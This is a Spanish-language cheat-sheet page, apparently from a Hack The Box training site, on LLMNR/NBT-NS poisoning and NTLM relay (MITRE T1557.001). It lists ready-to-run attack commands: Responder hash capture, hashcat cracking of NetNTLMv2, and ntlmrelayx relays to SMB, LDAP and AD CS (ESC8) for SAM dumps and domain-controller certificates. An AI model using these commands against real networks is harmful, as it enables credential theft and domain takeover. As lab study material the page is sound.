Buscar en todo Ctrl K
T1557.001

Envenenamiento LLMNR/NBT-NS y relay SMB

Subtécnica de T1557 Adversario en medio ↗

Responder a peticiones de nombres o capturar autenticaciones NTLM para crackearlas o reenviarlas a otro servicio.

Cómo aparece en Hack The Box

En HTB lo normal es Responder escuchando mientras fuerzas a la víctima a conectarse a tu IP. Si el hash NetNTLMv2 no se crackea, relayéalo a SMB sin firma, LDAP o ADCS.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Active Directory a fondo › NTLM relay

Equipos sin firma SMB obligatoria Atacante 
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt
Relay a SMB para volcar SAM Atacante 
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay a LDAP para delegación o shadow credentials Atacante 
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
Relay a la CA (ESC8) para un cert del equipo Atacante 
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Hashcat › Modos más usados

NetNTLMv2 (Responder) 
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Responder › Capturar hashes

Escuchar en la interfaz de la VPN 
sudo responder -I tun0
Solo observar, sin envenenar 
sudo responder -I tun0 -A
Desactivar SMB y HTTP para hacer relay con ntlmrelayx 
sudo sed -i 's/^SMB = On/SMB = Off/; s/^HTTP = On/HTTP = Off/' /etc/responder/Responder.conf

Herramientas